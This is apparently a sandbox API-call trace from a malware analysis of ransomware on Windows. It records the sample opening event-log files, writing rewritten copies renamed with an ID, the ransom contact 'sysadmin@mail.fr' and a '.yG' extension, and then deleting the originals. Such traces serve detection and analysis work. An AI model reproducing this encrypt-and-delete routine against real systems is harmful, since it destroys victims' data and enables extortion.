	[0051.098] lstrlenW (lpString=".1cd") returned 4
	[0051.098] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0051.098] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0051.098] lstrlenW (lpString=".jpg") returned 4
	[0051.098] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0051.098] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0051.098] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41
	[0051.098] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0051.099] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=1052672) returned 1
	[0051.099] CloseHandle (hObject=0x380) returned 1
	[0051.099] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20
	[0051.099] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.099] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0051.101] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.101] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.101] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0051.101] GetLastError () returned 0x0
	[0051.101] ReadFile (in: hFile=0x380, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0051.166] WriteFile (in: hFile=0x38c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0051.180] ReadFile (in: hFile=0x380, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0051.188] WriteFile (in: hFile=0x38c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0051.191] ReadFile (in: hFile=0x380, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.191] WriteFile (in: hFile=0x38c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x126, lpOverlapped=0x0) returned 1
	[0051.191] SetEndOfFile (hFile=0x38c) returned 1
	[0051.191] CloseHandle (hObject=0x38c) returned 1
	[0051.586] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.586] SetEndOfFile (hFile=0x380) returned 1
	[0052.858] CloseHandle (hObject=0x380) returned 1
	[0052.858] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0052.858] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1
	[0052.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0052.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0052.858] lstrlenW (lpString=".doc") returned 4
	[0052.858] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0052.858] lstrlenW (lpString=".docx") returned 5
	[0052.858] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0052.858] lstrlenW (lpString=".pdf") returned 4
	[0052.858] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0052.858] lstrlenW (lpString=".xls") returned 4
	[0052.858] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0052.858] lstrlenW (lpString=".xlsx") returned 5
	[0052.858] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0052.858] lstrlenW (lpString=".ppt") returned 4
	[0052.858] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0052.858] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0052.858] lstrlenW (lpString=".zip") returned 4
	[0052.858] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0052.858] lstrlenW (lpString=".rar") returned 4
	[0052.859] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0052.859] lstrlenW (lpString=".bz2") returned 4
	[0052.859] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0052.859] lstrlenW (lpString=".7z") returned 3
	[0052.859] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0052.859] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0052.859] lstrlenW (lpString=".dbf") returned 4
	[0052.859] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0052.859] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0052.859] lstrlenW (lpString=".1cd") returned 4
	[0052.859] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0052.859] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0052.859] lstrlenW (lpString=".jpg") returned 4
	[0052.859] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0052.859] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0052.859] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0052.859] lstrlenW (lpString=".doc") returned 4
	[0052.859] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0052.859] lstrlenW (lpString=".docx") returned 5
	[0052.859] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0052.859] lstrlenW (lpString=".pdf") returned 4
	[0052.859] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0052.859] lstrlenW (lpString=".xls") returned 4
	[0052.859] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0052.859] lstrlenW (lpString=".xlsx") returned 5
	[0052.859] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0052.859] lstrlenW (lpString=".ppt") returned 4
	[0052.859] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0052.859] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0052.859] lstrlenW (lpString=".zip") returned 4
	[0052.859] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0052.859] lstrlenW (lpString=".rar") returned 4
	[0052.859] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0052.859] lstrlenW (lpString=".bz2") returned 4
	[0052.859] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0052.859] lstrlenW (lpString=".7z") returned 3
	[0052.860] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0052.860] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0052.860] lstrlenW (lpString=".dbf") returned 4
	[0052.860] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0052.860] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0052.860] lstrlenW (lpString=".1cd") returned 4
	[0052.860] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0052.860] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0052.860] lstrlenW (lpString=".jpg") returned 4
	[0052.860] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0052.860] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0052.860] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45
	[0052.860] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0052.860] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0052.860] CloseHandle (hObject=0x380) returned 1
	[0052.860] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20
	[0052.860] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.860] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0052.860] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.861] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.861] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0052.861] GetLastError () returned 0x0
	[0052.861] ReadFile (in: hFile=0x380, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0052.931] WriteFile (in: hFile=0x39c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0052.933] ReadFile (in: hFile=0x380, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.934] WriteFile (in: hFile=0x39c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0052.934] SetEndOfFile (hFile=0x39c) returned 1
	[0052.934] CloseHandle (hObject=0x39c) returned 1
	[0052.935] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.935] SetEndOfFile (hFile=0x380) returned 1
	[0052.939] CloseHandle (hObject=0x380) returned 1
	[0052.939] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0052.939] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1
	[0052.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0052.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0052.950] lstrlenW (lpString=".doc") returned 4
	[0052.950] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0052.950] lstrlenW (lpString=".docx") returned 5
	[0052.950] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0052.950] lstrlenW (lpString=".pdf") returned 4
	[0052.950] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0052.950] lstrlenW (lpString=".xls") returned 4
	[0052.950] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0052.950] lstrlenW (lpString=".xlsx") returned 5
	[0052.950] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0052.950] lstrlenW (lpString=".ppt") returned 4
	[0052.950] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0052.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0052.950] lstrlenW (lpString=".zip") returned 4
	[0052.950] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0052.950] lstrlenW (lpString=".rar") returned 4
	[0052.950] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0052.950] lstrlenW (lpString=".bz2") returned 4
	[0052.950] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0052.950] lstrlenW (lpString=".7z") returned 3
	[0052.950] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0052.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0052.950] lstrlenW (lpString=".dbf") returned 4
	[0052.950] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0052.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0052.950] lstrlenW (lpString=".1cd") returned 4
	[0052.951] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0052.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0052.951] lstrlenW (lpString=".jpg") returned 4
	[0052.951] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0052.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0052.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0052.951] lstrlenW (lpString=".doc") returned 4
	[0052.951] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0052.951] lstrlenW (lpString=".docx") returned 5
	[0052.951] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0052.951] lstrlenW (lpString=".pdf") returned 4
	[0052.951] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0052.951] lstrlenW (lpString=".xls") returned 4
	[0052.951] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0052.951] lstrlenW (lpString=".xlsx") returned 5
	[0052.951] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0052.951] lstrlenW (lpString=".ppt") returned 4
	[0052.951] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0052.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0052.951] lstrlenW (lpString=".zip") returned 4
	[0052.951] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0052.951] lstrlenW (lpString=".rar") returned 4
	[0052.951] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0052.951] lstrlenW (lpString=".bz2") returned 4
	[0052.951] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0052.951] lstrlenW (lpString=".7z") returned 3
	[0052.951] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0052.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0052.951] lstrlenW (lpString=".dbf") returned 4
	[0052.951] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0052.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0052.951] lstrlenW (lpString=".1cd") returned 4
	[0052.951] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0052.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0052.951] lstrlenW (lpString=".jpg") returned 4
	[0052.951] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0052.952] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0052.952] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39
	[0052.952] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0052.953] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0052.953] CloseHandle (hObject=0x39c) returned 1
	[0052.953] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20
	[0052.953] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.954] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0052.954] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.954] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.954] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0052.954] GetLastError () returned 0x0
	[0052.954] ReadFile (in: hFile=0x350, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.070] WriteFile (in: hFile=0x2e4, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.072] ReadFile (in: hFile=0x350, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.072] WriteFile (in: hFile=0x2e4, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x122, lpOverlapped=0x0) returned 1
	[0053.072] SetEndOfFile (hFile=0x2e4) returned 1
	[0053.072] CloseHandle (hObject=0x2e4) returned 1
	[0053.074] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.074] SetEndOfFile (hFile=0x350) returned 1
	[0053.075] CloseHandle (hObject=0x350) returned 1
	[0053.075] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.075] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1
	[0053.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0053.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0053.076] lstrlenW (lpString=".doc") returned 4
	[0053.076] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.076] lstrlenW (lpString=".docx") returned 5
	[0053.076] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.076] lstrlenW (lpString=".pdf") returned 4
	[0053.076] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.076] lstrlenW (lpString=".xls") returned 4
	[0053.076] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.076] lstrlenW (lpString=".xlsx") returned 5
	[0053.076] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.076] lstrlenW (lpString=".ppt") returned 4
	[0053.076] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0053.076] lstrlenW (lpString=".zip") returned 4
	[0053.076] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.076] lstrlenW (lpString=".rar") returned 4
	[0053.076] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.076] lstrlenW (lpString=".bz2") returned 4
	[0053.076] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.076] lstrlenW (lpString=".7z") returned 3
	[0053.076] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0053.076] lstrlenW (lpString=".dbf") returned 4
	[0053.076] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0053.076] lstrlenW (lpString=".1cd") returned 4
	[0053.076] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0053.076] lstrlenW (lpString=".jpg") returned 4
	[0053.076] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0053.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0053.076] lstrlenW (lpString=".doc") returned 4
	[0053.076] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.076] lstrlenW (lpString=".docx") returned 5
	[0053.077] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.077] lstrlenW (lpString=".pdf") returned 4
	[0053.077] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.077] lstrlenW (lpString=".xls") returned 4
	[0053.077] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.077] lstrlenW (lpString=".xlsx") returned 5
	[0053.077] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.077] lstrlenW (lpString=".ppt") returned 4
	[0053.077] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.077] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0053.077] lstrlenW (lpString=".zip") returned 4
	[0053.077] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.077] lstrlenW (lpString=".rar") returned 4
	[0053.077] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.077] lstrlenW (lpString=".bz2") returned 4
	[0053.077] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.077] lstrlenW (lpString=".7z") returned 3
	[0053.077] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.077] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0053.077] lstrlenW (lpString=".dbf") returned 4
	[0053.077] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.077] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0053.077] lstrlenW (lpString=".1cd") returned 4
	[0053.077] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.077] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0053.077] lstrlenW (lpString=".jpg") returned 4
	[0053.077] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.077] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.077] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45
	[0053.077] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0053.078] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0053.078] CloseHandle (hObject=0x350) returned 1
	[0053.078] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20
